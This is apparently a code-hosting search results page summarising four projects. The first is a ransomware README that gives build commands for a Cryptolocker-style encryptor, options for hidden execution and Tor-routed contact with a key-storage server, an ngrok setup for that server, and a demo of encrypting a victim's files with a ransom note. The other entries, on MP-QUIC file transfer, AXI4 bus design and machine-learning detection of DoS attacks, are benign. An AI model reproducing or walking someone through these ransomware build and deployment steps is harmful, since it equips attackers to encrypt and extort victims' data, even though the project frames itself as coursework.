4 skills found
abhir98 / RansomwareProject Summary This project was developed for the Computer Security course at my academic degree. Basically, it will encrypt your files in background using AES-256-CTR, a strong encryption algorithm, using RSA-4096 to secure the exchange with the server, optionally using the Tor SOCKS5 Proxy. The base functionality is what you see in the famous ransomware Cryptolocker. The project is composed by three parts, the server, the malware and the unlocker. The server store the victim's identification key along with the encryption key used by the malware. The malware encrypt with a RSA-4096 (RSA-OAEP-4096 + SHA256) public key any payload before send then to the server. This approach with the optional Tor Proxy and a .onion domain allow you to hide almost completely your server. Features Run in Background (or not) Encrypt files using AES-256-CTR(Counter Mode) with random IV for each file. Multithreaded. RSA-4096 to secure the client/server communication. Includes an Unlocker. Optional TOR Proxy support. Use an AES CTR Cypher with stream encryption to avoid load an entire file into memory. Walk all drives by default. Docker image for compilation. Building the binaries DON'T RUN ransomware.exe IN YOUR PERSONAL MACHINE, EXECUTE ONLY IN A TEST ENVIRONMENT! I'm not resposible if you acidentally encrypt all of your disks! First of all download the project outside your $GOPATH: git clone github.com/mauri870/ransomware cd ransomware If you have Docker skip to the next section. You need Go at least 1.11.2 with the $GOPATH/bin in your $PATH and $GOROOT pointing to your Go installation folder. For me: export GOPATH=~/gopath export PATH=$PATH:$GOPATH/bin export GOROOT=/usr/local/go Build the project require a lot of steps, like the RSA key generation, build three binaries, embed manifest files, so, let's leave make do your job: make deps make You can build the server for windows with make -e GOOS=windows. Docker ./build-docker.sh make Config Parameters You can change some of the configs during compilation. Instead of run only make, you can use the following variables: HIDDEN='-H windowsgui' # optional. If present the malware will run in background USE_TOR=true # optional. If present the malware will download the Tor proxy and use it to contact the server SERVER_HOST=mydomain.com # the domain used to connect to your server. localhost, 0.0.0.0, 127.0.0.1 works too if you run the server on the same machine as the malware SERVER_PORT=8080 # the server port, if using a domain you can set this to 80 GOOS=linux # the target os to compile the server. Eg: darwin, linux, windows Example: make -e USE_TOR=true SERVER_HOST=mydomain.com SERVER_PORT=80 GOOS=darwin The SERVER_ variables above only apply to the malware. The server has a flag --port that you can use to change the port that it will listen on. DON'T RUN ransomware.exe IN YOUR PERSONAL MACHINE, EXECUTE ONLY IN A TEST ENVIRONMENT! I'm not resposible if you acidentally encrypt all of your disks! Step by Step Demo and How it Works For this demo I'll use two machines, my personal linux machine and a windows 10 VM. For the sake of simplicity, I have a folder mapped to the VM, so I can compile from my linux and copy to the vm. In this demo we will use the Ngrok tool, this will allow us to expose our server using a domain, but you can use your own domain or ip address if you want. We are also going to enable the Tor transport, so .onion domains will work without problems. First of all lets start our external domain: ngrok http 8080 This command will give us a url like http://2af7161c.ngrok.io. Keep this command running otherwise the malware won't reach our server. Let's compile the binaries (remember to replace the domain): make -e SERVER_HOST=2af7161c.ngrok.io SERVER_PORT=80 USE_TOR=true The SERVER_PORT needs to be 80 in this case, since ngrok redirects 2af7161c.ngrok.io:80 to your local server port 8080. After build, a binary called ransomware.exe, and unlocker.exe along with a folder called server will be generated in the bin folder. The execution of ransomware.exe and unlocker.exe (even if you use a diferent GOOS variable during compilation) is locked to windows machines only. Enter the server directory from another terminal and start it: cd bin/server && ./server --port 8080 To make sure that all is working correctly, make a http request to http://2af7161c.ngrok.io: curl http://2af7161c.ngrok.io If you see a OK and some logs in the server output you are ready to go. Now move the ransomware.exe and unlocker.exe to the VM along with some dummy files to test the malware. You can take a look at cmd/common.go to see some configuration options like file extensions to match, directories to scan, skipped folders, max size to match a file among others. Then simply run the ransomware.exe and see the magic happens 😄. The window that you see can be hidden using the HIDDEN option described in the compilation section. After download, extract and start the Tor proxy, the malware waits until the tor bootstrapping is done and then proceed with the key exchange with the server. The client/server handshake takes place and the client payload, encrypted with an RSA-4096 public key must be correctly decrypted on the server. The victim identification and encryption keys are stored in a Golang embedded database called BoltDB (it also persists on disk). When completed we get into the find, match and encrypt phase, up to N-cores workers start to encrypt files matched by the patterns defined. This proccess is really quick and in seconds all of your files will be gone. The encryption key exchanged with the server was used to encrypt all of your files. Each file has a random primitive called IV, generated individually and saved as the first 16 bytes of the encrypted content. The algorithm used is AES-256-CTR, a good AES cypher with streaming mode of operation such that the file size is left intact. The only two sources of information available about what just happen are the READ_TO_DECRYPT.html and FILES_ENCRYPTED.html in the Desktop. In theory, to decrypt your files you need to send an amount of BTC to the attacker's wallet, followed by a contact sending your ID(located on the file created on desktop). If the attacker can confirm your payment it will possibly(or maybe not) return your encryption key and the unlocker.exe and you can use then to recover your files. This exchange can be accomplished in several ways and WILL NOT be implemented in this project for obvious reasons. Let's suppose you get your encryption key back. To recover the correct key point to the following url: curl -k http://2af7161c.ngrok.io/api/keys/:id Where :id is your identification stored in the file on desktop. After, run the unlocker.exe by double click and follow the instructions. That's it, got your files back 😄 The server has only two endpoints: POST api/keys/add - Used by the malware to persist new keys. Some verifications are made, like the verification of the RSA autenticity. Returns 204 (empty content) in case of success or a json error. GET api/keys/:id - Id is a 32 characters parameter, representing an Id already persisted. Returns a json containing the encryption key or a json error The end As you can see, building a functional ransomware, with some of the best existing algorithms is not difficult, anyone with some programming skills can build that in any programming language.
hg7302 / Filetransfer Using MPQUIC ProtocolSetup MP-QUIC structure. Create a topology as below :3. Create the files client-multipath.go and server-multipath.go 4. The files are stored in location “storage-server” and are accessible by server. 5. To execute the code, follow the below steps : Run the python file exported from topology using command : - sudo python2 setup-topology.py Once the terminal enters mininet, open xterm of server and client : - xterm server client In xterm of server, run the below commands : - go build server-multipath.go - ./server-multipath storage-client Here, storage-client is the destination location where client stores its files. In xterm of client, run the below commands : - go build client-multipath.go - ./client-multipath storage-server/abc.txt 100.0.0.1 Here, 100.0.0.1 is the IP address of node - server and abc.txt is the file requested by client which is stored in location “storage-server”...Priority-Based Stream SchedulingIn MP-QUIC, when multiple streams share common path, there are chances of Inter-stream blocking, which may have severe consequences. Also, stream features such as Bandwidth,RTT Delay etc are not taken into consideration when streams are directed on paths in network. In Priority Based Scheduling, instead of making all streams competing for the fast path in a greedy fashion, we allocate paths for each stream by considering the match of stream and path features in the scheduling process. In this, streams can be prioritized by giving them priority value based on path features(bandwidth, RTT, Completion time, etc.) and then the scheduler allocates the new stream to each path with a calculated amount of data. This type of scheduling reduces the burst transmission of packets in congested path or paths with having low delay .Implementation To implement Priority based scheduling, we have assigned a priority to each stream that is created for file transfer / transfer of all the packets created. The streams are scheduled on the basis of decreasing priority of streams on a common path. For example - If 3 streams are created, and we have 2 paths available in network, then, 2 streams will be redirected to 2 paths available, and 3rd stream will be sharing the path with either Stream1 / Stream2. In this case, the stream scheduling is done on the basis of priority. The probability of a stream being selected is calculated by dividing its priority by the priority sum of all the scheduled streams on this path. Network Assisted Path schedulingThe scheduling algorithm we have now, considers the path features, RTT and many things, on the sender side. During the initiation of connection between client and server, the RTT delay is taken and fixed length cells are sent along with handshake. When a destination host receives an RM cell, it will send the RM cell back to the sender with its CI and NI bits intact. With all the information indicated by bit indicators(such as path delay,path congestion,bandwidth etc), packets are scheduled on the path The data cells will be triggered after every constant time so that scheduler can schedule the data in the best path.
Ammar-Bin-Amir / AXI4RTL Design of AXI4 Bus Protocol followed by AXI4-Lite Bus Protocol and Handshaking Communication Principle
somesh-saxena / Efficient Detection Of Denial Of Service DoS Attack Using Machine LearningThe purpose and the objective of this research project is to detect of DoS attack using Machine Learning which will address the research question provided as “To detect Denial of Service attack using Machine Learning in an efficient way and to compare with the other used Machine Learning algorithm”. The type of DoS attack discussed in this research project is UDP flood attack, TCP-SYN attack and ICMP flood attack. UDP flood attack is a type of a DoS attack in which the targeted server or client is sent a large number of User Datagram Protocol (UDP) packets with the aim of device inability to process and respond to request. TCP-SYN attack is a type of DoS attack in which the attacker exploits the three-way handshake that a TCP-SYN requests make with the server, the attacker sends repeated SYN requests to server making the server unresponsive to legitimate traffic. ICMP flood attack is a type of attack in which the targeted system is flooded with ICMP echo-requests which cause the system inaccessible to normal traffic. The Machine Learning algorithm that is discussed in this research project is Logistic Regression, Decision Tree, Multi-Layer Perceptron, K Nearest Neighbors and Light Gradient Boosting Machine. The research project emphasis on the use of Light Gradient Boosting Machine algorithm for an efficient detection of DoS attack. Light Gradient Boosting Machine model has a faster processing with high efficiency, requires less memory, can work easily with large datasets and provides better accuracy with compared to different algorithms. Objective of this research are: Analyse the data for its characteristic. Develop Machine Learning models using Logistic Regression, Decision Tree, Multi-Layer Perceptron, K Nearest Neighbors and Light Gradient Boosting Machine. Evaluate the model and predict the accuracy of the model for the detection of a DoS attacks. Propose a model that detect the accuracy better or similar with compared to other models. Achieving a better model that can be used for detection of DoS attack in an efficient manner. Major Contribution: The major contribution obtained from this research project is to use an efficient model that is Light Gradient Boosting Machine model for the detection of an DoS attack, as this work hasn’t been done before and there was an eagerness for a model that provides better accuracy and is light weighted which means it requires less memory, less processing and gives a better detection rate with less error. Light GBM provides fast processing with the capability to handle large datasets. And performs quite well in real time risk assessment.